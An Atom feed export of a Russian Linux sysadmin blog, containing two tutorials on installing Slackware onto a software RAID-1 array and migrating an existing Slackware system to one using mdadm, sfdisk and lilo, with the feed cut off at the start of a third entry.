<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-318307562281607377</id><updated>2011-08-01T23:22:38.915+11:00</updated><category term='linux'/><category term='windows scripting'/><category term='squid'/><category term='slackware'/><category term='спам'/><category term='mc9090'/><category term='видеонаблюдение'/><category term='raid-1'/><category term='коротко'/><category term='smart'/><category term='perl'/><category term='catalyst'/><category term='ubuntu'/><category term='жизнь'/><title type='text'>use Catalyst;</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>41</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-6378168004115816035</id><published>2010-03-17T13:36:00.005+10:00</published><updated>2010-04-05T08:45:27.714+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='raid-1'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><title type='text'>Установка Slackware на программный raid-1 массив</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;h3&gt;Описание задачи&lt;/h3&gt;

&lt;p&gt;Условия: имеется два одинаковых по размеру, пустых диска &lt;tt&gt;/dev/sda&lt;/tt&gt; и &lt;tt&gt;/dev/sdb&lt;/tt&gt; соответственно.&lt;/p&gt;

&lt;p&gt;На основе &lt;tt&gt;/dev/sda1&lt;/tt&gt; и &lt;tt&gt;/dev/sdb1&lt;/tt&gt; создать &lt;a href="http://ru.wikipedia.org/wiki/RAID#RAID_1"&gt;raid-массив первого уровня&lt;/a&gt; &lt;tt&gt;/dev/md0&lt;/tt&gt;. Затем установить на &lt;tt&gt;/dev/md0&lt;/tt&gt; операционную систему Slackware и настроить ее загрузку.&lt;/p&gt;

&lt;p&gt;Дополнительные условия:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Используем стандартное ядро для slackware версии 2.6.xx, т.о. минимальная версия операционной для которой подходит это описание &amp;mdash; Slackware&amp;nbsp;12.&lt;/li&gt;
&lt;li&gt;Все примеры приведены для последней на текущий момент версии &amp;mdash; Slackware&amp;nbsp;13, используется ядро 2.6.29.6 и файловая система по умолчанию ext4.&lt;/li&gt;
&lt;li&gt;Здесь не ставится цель дать полное описание процесса установки Slackware. Внимание обращается лишь на этапы связанные с программным raid-массивом.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;


&lt;h3&gt;Решение задачи&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Шаг 1.&lt;/em&gt; Загрузка с внешнего носителя.&lt;/p&gt;

&lt;p&gt;Загружаемся с установочного диска slackware.&lt;/p&gt;


&lt;p&gt;&lt;em&gt;Шаг 2.&lt;/em&gt; Создание таблицы разделов.&lt;/p&gt;

&lt;p&gt;Сначала, с помощью команды:&lt;/p&gt;

&lt;pre&gt;cfdisk /dev/sda&lt;/pre&gt;

&lt;p&gt;создаем следующие разделы на первом пустом диске:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;tt&gt;/dev/sda1&lt;/tt&gt;&lt;/strong&gt; &amp;mdash; Раздел под raid-массив. Отводим под него большую часть диска. Установить признак &amp;laquo;загрузочный&amp;raquo;. Задать тип раздела &amp;laquo;Linux raid autodetect&amp;raquo; (код fd).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;tt&gt;/dev/sda2&lt;/tt&gt;&lt;/strong&gt; &amp;mdash; Раздел под подкачку. Отводим под него половину от необходимого размера подкачки. Задать тип раздела &amp;laquo;Linux swap&amp;raquo; (код 82).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Обращаю внимание, что нельзя полностью заполнять разделами все доступное пространство диска. Т.к., при замене любого из дисков в будущем, несмотря на указанный одинаковый размер дисков, фактический их размер у разных производителей может не совпадать.&lt;/p&gt;

&lt;p&gt;Пример того, что получилось:&lt;/p&gt;

&lt;pre&gt;# fdisk -l /dev/sda
   Device  Boot  Start   End   Blocks   Id  System
/dev/sda1    *       1   991  7960176   fd  Linux raid autodetect
/dev/sda2          992  1044   425722+  82  Linux swap&lt;/pre&gt;

&lt;p&gt;Затем копируем таблицу разделов с первого диска на второй:&lt;/p&gt;

&lt;pre&gt;sfdisk -d /dev/sda | sfdisk /dev/sdb&lt;/pre&gt;

&lt;p&gt;Убеждаемся, что таблицы разделов на дисках &lt;tt&gt;/dev/sda&lt;/tt&gt; и &lt;tt&gt;/dev/sdb&lt;/tt&gt; идентичны:&lt;/p&gt;

&lt;pre&gt;# fdisk -l /dev/sda /dev/sdb
   Device  Boot  Start   End   Blocks   Id  System
/dev/sda1    *       1   991  7960176   fd  Linux raid autodetect
/dev/sda2          992  1044   425722+  82  Linux swap

   Device  Boot  Start   End   Blocks   Id  System
/dev/sdb1    *       1   991  7960176   fd  Linux raid autodetect
/dev/sdb2          992  1044   425722+  82  Linux swap&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 3.&lt;/em&gt; Создание raid-массива.&lt;/p&gt;

&lt;p&gt;Сначала, на всякий случай, очищаем из разделов возможные следы предыдущих raid-массивов:&lt;/p&gt;

&lt;pre&gt;mdadm --zero-superblock /dev/sda1
mdadm --zero-superblock /dev/sdb1&lt;/pre&gt;

&lt;p&gt;Теперь, собственно, создаем raid-массив:&lt;/p&gt;

&lt;pre&gt;mdadm --create /dev/md0 --level=1 --raid-disks=2 /dev/sda1 /dev/sdb1&lt;/pre&gt;

&lt;p&gt;Здесь запустится процесс синхронизации двух дисков, входящих в массив, который можно отслеживать с помощью команды:&lt;/p&gt;

&lt;pre&gt;# cat /proc/mdstat
Personalities : [linear] [raid0] [raid1] [raid10] [raid6] [raid5] [raid4] [multipath] 
md0 : active raid1 sdb1[1] sda1[0]
      7960064 blocks [2/2] [UU]
      [=&amp;gt;...................]  resync =  8.0% (639040/7960064) finish=7.8min speed=15490K/sec
      
unused devices: &amp;lt;none&amp;gt;&lt;/pre&gt;

&lt;p&gt;Этот процесс никак не ограничивает работу с уже созданным массивом. Т.е. блочное устройство &lt;tt&gt;/dev/md0&lt;/tt&gt; уже доступно и с ним можно работать. Можно даже перезагружать компьютер. Но в полноценную работу raid-массив встанет самостоятельно, когда синхронизация будет завершена.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Шаг 4.&lt;/em&gt; Установка операционной системы.&lt;/p&gt;

&lt;p&gt;Запускаем утилиту установки slackware:&lt;/p&gt;

&lt;pre&gt;setup&lt;/pre&gt;

&lt;p&gt;На этапе добавления swap-разделов выделяем разделы &lt;tt&gt;/dev/sda2&lt;/tt&gt; и &lt;tt&gt;/dev/sdb2&lt;/tt&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://picasaweb.google.com/lh/photo/W3sDdR4601-lxpzsd1X6TQ?authkey=Gv1sRgCMvo9rHarqX_Vw&amp;feat=embedwebsite"&gt;&lt;img src="http://lh4.ggpht.com/_7dv3t2lo9Ro/S6BY6Cu_vGI/AAAAAAAAACc/PD1if2QULe4/s400/Swap-Screenshot-02.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://picasaweb.google.com/lh/photo/1sx2UqsKns0fGBl2PmeB7w?authkey=Gv1sRgCMvo9rHarqX_Vw&amp;feat=embedwebsite"&gt;&lt;img src="http://lh4.ggpht.com/_7dv3t2lo9Ro/S6BY6RZq3QI/AAAAAAAAACg/86G2FNIspJA/s400/Swap-Screenshot-03.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://picasaweb.google.com/lh/photo/7YOyf86Jagq2_mgiKn-LAA?authkey=Gv1sRgCMvo9rHarqX_Vw&amp;feat=embedwebsite"&gt;&lt;img src="http://lh4.ggpht.com/_7dv3t2lo9Ro/S6BY6pJFioI/AAAAAAAAACk/CkKG2F1XdBk/s400/Swap-Screenshot-04.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;В качестве корнего диска выбираем &lt;tt&gt;/dev/md0&lt;/tt&gt;. Далее соглашаемся его форматировать в предлагаемую по-умолчанию файловую систему ext4.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://picasaweb.google.com/lh/photo/WItuuxeJFbGN8eeiNCsKuQ?authkey=Gv1sRgCMvo9rHarqX_Vw&amp;feat=embedwebsite"&gt;&lt;img src="http://lh4.ggpht.com/_7dv3t2lo9Ro/S6Bbx_oYRqI/AAAAAAAAADU/tiJ2jk7IwmI/s400/Root-Screenshot-05.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://picasaweb.google.com/lh/photo/yVNEatJ3E5_yP6rYmiXgcA?authkey=Gv1sRgCMvo9rHarqX_Vw&amp;feat=embedwebsite"&gt;&lt;img src="http://lh3.ggpht.com/_7dv3t2lo9Ro/S6BbyARqSTI/AAAAAAAAADY/PBqmS4OR5F0/s400/Root-Screenshot-06.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://picasaweb.google.com/lh/photo/aqZKY4c6DbtfnSF_MCy9jA?authkey=Gv1sRgCMvo9rHarqX_Vw&amp;feat=embedwebsite"&gt;&lt;img src="http://lh3.ggpht.com/_7dv3t2lo9Ro/S6BbyGTiW5I/AAAAAAAAADc/7ac48sQsJ48/s400/Root-Screenshot-07.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://picasaweb.google.com/lh/photo/-d-VcWCK-XpP4iuvwXjlpQ?authkey=Gv1sRgCMvo9rHarqX_Vw&amp;feat=embedwebsite"&gt;&lt;img src="http://lh3.ggpht.com/_7dv3t2lo9Ro/S6BbyZPp87I/AAAAAAAAADg/oclSCIxmBEM/s400/Root-Screenshot-08.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://picasaweb.google.com/lh/photo/ZnPUXN9CVAastlte8MdDCQ?authkey=Gv1sRgCMvo9rHarqX_Vw&amp;feat=embedwebsite"&gt;&lt;img src="http://lh5.ggpht.com/_7dv3t2lo9Ro/S6BbyRnv7xI/AAAAAAAAADk/4DTYQ580_SI/s400/Root-Screenshot-09.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Далее процесс установки системы протекает абсолютно обычным образом. После завершения установки загружаемся в установленную систему.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Шаг 5.&lt;/em&gt; Настройка установленной системы.&lt;/p&gt;

&lt;p&gt;Редактируем в файле &lt;tt&gt;/etc/fstab&lt;/tt&gt; строчки монтирования раздела подкачки. Добавляем опцию &lt;tt&gt;pri=1&lt;/tt&gt; для параллельного использования разделов подкачки:&lt;/p&gt;

&lt;pre&gt;/dev/md0   /     ext4      defaults        1 1
/dev/sda2  swap  swap      pri=1,defaults  0 0
/dev/sdb2  swap  swap      pri=1,defaults  0 0&lt;/pre&gt;

&lt;p&gt;Редактируем &lt;tt&gt;/etc/lilo.conf&lt;/tt&gt;, добавляем строчку для установки загрузчика lilo на оба диска &lt;tt&gt;/dev/sda&lt;/tt&gt; и &lt;tt&gt;/dev/sdb&lt;/tt&gt;, а не только на первый диск:&lt;/p&gt;

&lt;pre&gt;raid-extra-boot=mbr&lt;/pre&gt;

&lt;p&gt;Это необходимо, чтобы чтобы система смогла загрузиться со второго диска, в случае выхода из строя первого диска. Далее запускаем установку загрузчика lilo:&lt;/p&gt;

&lt;pre&gt;# lilo
Warning: LBA32 addressing assumed
Added Linux *
The boot record of  /dev/md0  has been updated.
The Master boot record of  /dev/sda  has been updated.
Warning: /dev/sdb is not on the first disk
The Master boot record of  /dev/sdb  has been updated.
2 warnings were issued.&lt;/pre&gt;


&lt;p&gt;&lt;em&gt;Шаг 6.&lt;/em&gt; Переключение на &lt;a href="http://xeim.blogspot.com/2008/04/slackware-12.html"&gt;generic&lt;/a&gt; ядро.&lt;/p&gt;

&lt;p&gt;Создаем файл &lt;tt&gt;/etc/mkinitrd.conf&lt;/tt&gt;, содержащий строки:&lt;/p&gt;

&lt;pre&gt;CLEAR_TREE="1"
OUTPUT_IMAGE="/boot/initrd-generic-2.6.29.6-smp-raid.gz"
KERNEL_VERSION="2.6.29.6-smp"
MODULE_LIST="ext4"
ROOTDEV="/dev/md0"
RAID="1"&lt;/pre&gt;

&lt;p&gt;Генерируем initrd-файл:&lt;/p&gt;

&lt;pre&gt;# mkinitrd -F
OK: /lib/modules/2.6.29.6-smp/kernel/lib/crc16.ko added.
OK: /lib/modules/2.6.29.6-smp/kernel/fs/jbd2/jbd2.ko added.
OK: /lib/modules/2.6.29.6-smp/kernel/fs/mbcache.ko added.
OK: /lib/modules/2.6.29.6-smp/kernel/fs/ext4/ext4.ko added.
5250 blocks&lt;/pre&gt;

&lt;p&gt;В &lt;tt&gt;/etc/lilo.conf&lt;/tt&gt; добавляем строки:&lt;/p&gt;

&lt;pre&gt;image = /boot/vmlinuz-generic-smp-2.6.29.6-smp
  initrd = /boot/initrd-generic-2.6.29.6-smp-raid.gz
  root   = /dev/md0
  label  = gen-raid
  read-only&lt;/pre&gt;

&lt;p&gt;Запускаем установку загрузчика lilo на оба диска в raid-массиве:&lt;/p&gt;

&lt;pre&gt;lilo&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 7.&lt;/em&gt; Проверка.&lt;/p&gt;

&lt;p&gt;Перезагружаем компьютер и убеждаемся что загрузка операционной системы происходит нормально с любого диска из raid-массива.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-6378168004115816035?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/6378168004115816035/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=6378168004115816035' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/6378168004115816035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/6378168004115816035'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2010/03/slackware-raid-1.html' title='Установка Slackware на программный raid-1 массив'/><author><name>xeim</name><uri>http://www.blogger.com/profile/01596021427561543562</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_7dv3t2lo9Ro/S6BY6Cu_vGI/AAAAAAAAACc/PD1if2QULe4/s72-c/Swap-Screenshot-02.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-406821255454394308</id><published>2010-02-24T17:33:00.004+10:00</published><updated>2010-02-24T17:49:08.786+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='raid-1'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><title type='text'>Перенос установленной Slackware на программный raid1-массив 2</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;h3&gt;Описание задачи&lt;/h3&gt;

&lt;p&gt;Условия:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Имеется диск с установленной операционной системой slackware &amp;mdash; &lt;tt&gt;/dev/sda&lt;/tt&gt;.&lt;/li&gt;
&lt;li&gt;Имеется дополнительный, пустой диск &lt;tt&gt;/dev/sdb&lt;/tt&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;На основе &lt;tt&gt;/dev/sda&lt;/tt&gt; и &lt;tt&gt;/dev/sdb&lt;/tt&gt; создать &lt;a href="http://ru.wikipedia.org/wiki/RAID#RAID_1"&gt;raid-массив первого уровня&lt;/a&gt; &lt;tt&gt;/dev/md0&lt;/tt&gt;. Затем перенести на &lt;tt&gt;/dev/md0&lt;/tt&gt; операционную систему и настроить ее загрузку. Т.к. один из дисков изначально занят данными, создание raid-массива будем проводить в три этапа:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Создание неполного массива &lt;tt&gt;/dev/md0&lt;/tt&gt; только на основе &lt;tt&gt;/dev/sdb1&lt;/tt&gt;.&lt;/li&gt;
&lt;li&gt;Перенос операционной системы с &lt;tt&gt;/dev/sda1&lt;/tt&gt; на неполный массив &lt;tt&gt;/dev/md0&lt;/tt&gt;.&lt;/li&gt;
&lt;li&gt;Добавление диска &lt;tt&gt;/dev/sda1&lt;/tt&gt; к raid-массиву &lt;tt&gt;/dev/md0&lt;/tt&gt;.&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;Дополнительные условия:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;На рабочем диске существует два раздела &amp;mdash; корневой и подкачка.&lt;/li&gt;
&lt;li&gt;В качестве корневой файловой системы используется reiserfs.&lt;/li&gt;
&lt;li&gt;Предполагается, что используется стандартное ядро для slackware версии 2.6.xx, т.е. минимальная версия &amp;mdash; Slackware&amp;nbsp;12.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Перед началом необходимо убедиться, что в рабочей slackware установлена утилита &lt;a href="http://ru.wikipedia.org/wiki/Mdadm"&gt;mdadm&lt;/a&gt; для управления программными raid-массивами. При ее отстутствии нужно установить пакет mdadm.&lt;/p&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;h3&gt;Решение задачи&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Шаг 1.&lt;/em&gt; Загрузка с внешнего носителя.&lt;/p&gt;

&lt;p&gt;Загружаемся с &lt;a href="http://www.sysresccd.org/"&gt;SystemResсueCD&lt;/a&gt; или c &lt;a href="http://www.slax.org/"&gt;Slax&lt;/a&gt; или чего-нибудь еще, чтобы получить полный доступ ко всем дискам и ни один из них не был бы текущим загрузочным.&lt;/p&gt;


&lt;p&gt;&lt;em&gt;Шаг 2.&lt;/em&gt; Создание таблицы разделов на новом диске.&lt;/p&gt;

&lt;p&gt;Начальное состояние таблицы разделов на дисках:&lt;/p&gt;

&lt;pre&gt;# fdisk -l /dev/sda /dev/sdb
   Device  Boot  Start   End   Blocks   Id  System
/dev/sda1     *      1   973  7815591   83  Linux
/dev/sda2          974  1044   570307+  82  Linux swap / Solaris

Disk /dev/sdb doesn't contain a valid partition table&lt;/pre&gt;

&lt;p&gt;Сначала, с помощью команды:&lt;/p&gt;

&lt;pre&gt;cfdisk /dev/sdb&lt;/pre&gt;

&lt;p&gt;создаем следующие разделы на новом пустом диске:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;tt&gt;/dev/sdb1&lt;/tt&gt;&lt;/strong&gt; &amp;mdash; Раздел под raid-массив. Отводим под него большую часть диска. Установить признак &amp;laquo;загрузочный&amp;raquo;. Задать тип раздела &amp;laquo;Linux raid autodetect&amp;raquo; (код fd).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;tt&gt;/dev/sdb2&lt;/tt&gt;&lt;/strong&gt; &amp;mdash; Раздел под подкачку. Отводим под него половину от необходимого размера подкачки. Задать тип раздела &amp;laquo;Linux swap&amp;raquo; (код 82).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Обращаю внимание, что нельзя полностью заполнять разделами все доступное пространство диска. Т.к., несмортя на указанный одинаковый размер дисков, фактический их размер у разных производителей может не совпадать.&lt;/p&gt;

&lt;p&gt;Пример того, что получилось:&lt;/p&gt;

&lt;pre&gt;# fdisk -l /dev/sdb
   Device  Boot  Start   End   Blocks   Id  System
/dev/sdb1     *      1  1009  8104761   fd  Linux raid autodetect
/dev/sdb2         1010  1044   281137+  82  Linux swap / Solaris&lt;/pre&gt;


&lt;p&gt;&lt;em&gt;Шаг 3.&lt;/em&gt; Создание неполного raid-массива.&lt;/p&gt;

&lt;p&gt;Сначала, на всякий случай, очищаем возможные следы предыдущих raid-массивов:&lt;/p&gt;

&lt;pre&gt;mdadm --zero-superblock /dev/sdb1&lt;/pre&gt;

&lt;p&gt;Теперь, создаем неполный raid-массив, с одним отсутствующим диском:&lt;/p&gt;

&lt;pre&gt;# mdadm --create /dev/md0 --level=1 --raid-disks=2 missing /dev/sdb1
mdadm: array /dev/md0 started.&lt;/pre&gt;

&lt;p&gt;Просмотреть состояние raid-массива можно с помощью команды:&lt;/p&gt;

&lt;pre&gt;# cat /proc/mdstat
Personalities : [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] 
md0 : active raid1 sdb1[1]
      8104640 blocks [2/1] [_U]

unused devices: &amp;lt;none&amp;gt;&lt;/pre&gt;


&lt;p&gt;&lt;em&gt;Шаг 4.&lt;/em&gt; Копирование операционной системы.&lt;/p&gt;

&lt;p&gt;Форматируем разделы:&lt;/p&gt;

&lt;pre&gt;mkfs.reiserfs /dev/md0
mkswap /dev/sdb2&lt;/pre&gt;

&lt;p&gt;Монтируем raid-массив:&lt;/p&gt;

&lt;pre&gt;mkdir /mnt/md0
mount /dev/md0 /mnt/md0&lt;/pre&gt;

&lt;p&gt;Монтируем раздел с рабочей системой:&lt;/p&gt;

&lt;pre&gt;mkdir /mnt/sda1
mount /dev/sda1 /mnt/sda1&lt;/pre&gt;

&lt;p&gt;Копируем содержимое рабочей системы на raid-массив:&lt;/p&gt;

&lt;pre&gt;cp -aT /mnt/sda1 /mnt/md0&lt;/pre&gt;

&lt;p&gt;Теперь всё полезное содержимое диска &lt;tt&gt;/dev/sda&lt;/tt&gt; скопировано на raid-массив. Отмонтируем раздел с рабочей системой:&lt;/p&gt;

&lt;pre&gt;umount /mnt/sda1&lt;/pre&gt;


&lt;p&gt;&lt;em&gt;Шаг 5.&lt;/em&gt; Подготовка таблицы разделов на старом диске.&lt;/p&gt;


&lt;p&gt;Копируем таблицу разделов с диска &lt;tt&gt;/dev/sdb&lt;/tt&gt; на &lt;tt&gt;/dev/sda&lt;/tt&gt;:&lt;/p&gt;

&lt;pre&gt;sfdisk -d /dev/sdb | sfdisk /dev/sda&lt;/pre&gt;

&lt;p&gt;Убеждаемся, что таблицы разделов на дисках &lt;tt&gt;/dev/sda&lt;/tt&gt; и &lt;tt&gt;/dev/sdb&lt;/tt&gt; стали идентичны:&lt;/p&gt;

&lt;pre&gt;# fdisk -l /dev/sda /dev/sdb
   Device  Boot  Start   End   Blocks   Id  System
/dev/sda1     *      1  1009  8104761   fd  Linux raid autodetect
/dev/sda2         1010  1044   281137+  82  Linux swap / Solaris

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1     *      1  1009  8104761   fd  Linux raid autodetect
/dev/sdb2         1010  1044   281137+  82  Linux swap / Solaris&lt;/pre&gt;

&lt;p&gt;Форматируем раздел подкачки:&lt;/p&gt;

&lt;pre&gt;mkswap /dev/sda2&lt;/pre&gt;


&lt;p&gt;&lt;em&gt;Шаг 6.&lt;/em&gt; Добавление диска в неполный raid-массив.&lt;/p&gt;


&lt;p&gt;Опять, очищаем возможные следы предыдущих raid-массивов:&lt;/p&gt;

&lt;pre&gt;mdadm --zero-superblock /dev/sda1&lt;/pre&gt;

&lt;p&gt;Добавляем раздел &lt;tt&gt;/dev/sda1&lt;/tt&gt; в неполный raid-массив &lt;tt&gt;/dev/md0&lt;/tt&gt;:&lt;/p&gt;

&lt;pre&gt;# mdadm /dev/md0 -a /dev/sda1
mdadm: added /dev/sda1&lt;/pre&gt;

&lt;p&gt;Здесь запустится процесс синхронизации дисков raid-массива. Отслеживать его можно с помощью команды:&lt;/p&gt;

&lt;pre&gt;cat /proc/mdstat
Personalities : [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] 
md0 : active raid1 sda1[2] sdb1[1]
      8104640 blocks [2/1] [_U]
      [==&amp;gt;..................]  recovery = 13.7% (1118016/8104640) finish=2.5min speed=44720K/sec

unused devices: &amp;lt;none&amp;gt;&lt;/pre&gt;


&lt;p&gt;&lt;em&gt;Шаг 7.&lt;/em&gt; Настройка скопированной системы.&lt;/p&gt;

&lt;p&gt;Сохраняем конфигурацию raid-массива:&lt;/p&gt;

&lt;pre&gt;mdadm -D --scan &gt;&gt; /mnt/md0/etc/mdadm.conf&lt;/pre&gt;

&lt;p&gt;Редактируем в файле &lt;tt&gt;/mnt/md0/etc/fstab&lt;/tt&gt; строчки монтирования корневого раздела и раздела подкачки:&lt;/p&gt;

&lt;pre&gt;/dev/md0   /     reiserfs  defaults        1 1
/dev/sda2  swap  swap      pri=1,defaults  0 0
/dev/sdb2  swap  swap      pri=1,defaults  0 0&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 8.&lt;/em&gt; Настройка загрузки с raid-массива.&lt;/p&gt;

&lt;p&gt;Редактируем &lt;tt&gt;/mnt/md0/etc/lilo.conf&lt;/tt&gt;, заменяем строчку:&lt;/p&gt;

&lt;pre&gt;boot = /dev/sda1&lt;/pre&gt;

&lt;p&gt;на:&lt;/p&gt;

&lt;pre&gt;boot = /dev/md0&lt;/pre&gt;

&lt;p&gt;И добавляем строчку:&lt;/p&gt;

&lt;pre&gt;raid-extra-boot=mbr&lt;/pre&gt;

&lt;p&gt;Далее действуем в зависимости от &lt;a href="http://xeim.blogspot.com/2008/04/slackware-12.html"&gt;типа стандартного ядра slackware&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Шаг 8.1.&lt;/em&gt; Используется huge ядро.&lt;/p&gt;

&lt;p&gt;В &lt;tt&gt;/mnt/md0/etc/lilo.conf&lt;/tt&gt; добавляем строки:&lt;/p&gt;

&lt;pre&gt;image = /boot/vmlinuz-huge-smp-2.6.27.7-smp
  root  = /dev/md0
  label = gener-raid
  read-only&lt;/pre&gt;

&lt;p&gt;Версия ядра может быть другой, в зависимости от используемой версии slackware.&lt;/p&gt;

&lt;p&gt;Запускаем установку загрузчика lilo на оба диска в raid-массиве:&lt;/p&gt;

&lt;pre&gt;chroot /mnt/md0 /sbin/lilo&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Шаг 8.2.&lt;/em&gt; Используется generic ядро.&lt;/p&gt;

&lt;p&gt;Создаем файл &lt;tt&gt;/mnt/md0/etc/mkinitrd.conf&lt;/tt&gt;, содержащий строки:&lt;/p&gt;

&lt;pre&gt;CLEAR_TREE="1"
OUTPUT_IMAGE="/boot/initrd-generic-2.6.27.7-smp-raid.gz"
KERNEL_VERSION="2.6.27.7-smp"
MODULE_LIST="reiserfs"
ROOTDEV="/dev/md0"
RAID="1"&lt;/pre&gt;

&lt;p&gt;Генерируем initrd-файл:&lt;/p&gt;

&lt;pre&gt;chroot /mnt/md0 /sbin/mkinitrd -F&lt;/pre&gt;

&lt;p&gt;В &lt;tt&gt;/mnt/md0/etc/lilo.conf&lt;/tt&gt; добавляем строки:&lt;/p&gt;

&lt;pre&gt;image = /boot/vmlinuz-generic-smp-2.6.27.7-smp
  initrd = /boot/initrd-generic-2.6.27.7-smp-raid.gz
  root   = /dev/md0
  label  = gener-raid
  read-only&lt;/pre&gt;

&lt;p&gt;Запускаем установку загрузчика lilo на оба диска в raid-массиве:&lt;/p&gt;

&lt;pre&gt;chroot /mnt/md0 /sbin/lilo&lt;/pre&gt;


&lt;p&gt;&lt;em&gt;Шаг 9.&lt;/em&gt; Проверка.&lt;/p&gt;


&lt;p&gt;Перезагружаем компьютер и убеждаемся что загрузка  операционной системы происходит нормально с любого диска из raid-массива.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-406821255454394308?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/406821255454394308/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=406821255454394308' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/406821255454394308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/406821255454394308'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2010/02/slackware-raid1-2.html' title='Перенос установленной Slackware на программный raid1-массив 2'/><author><name>xeim</name><uri>http://www.blogger.com/profile/01596021427561543562</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-1491508206309813628</id><published>2010-02-08T12:30:00.006+10:00</published><updated>2010-02-24T16:44:48.674+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='raid-1'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><title 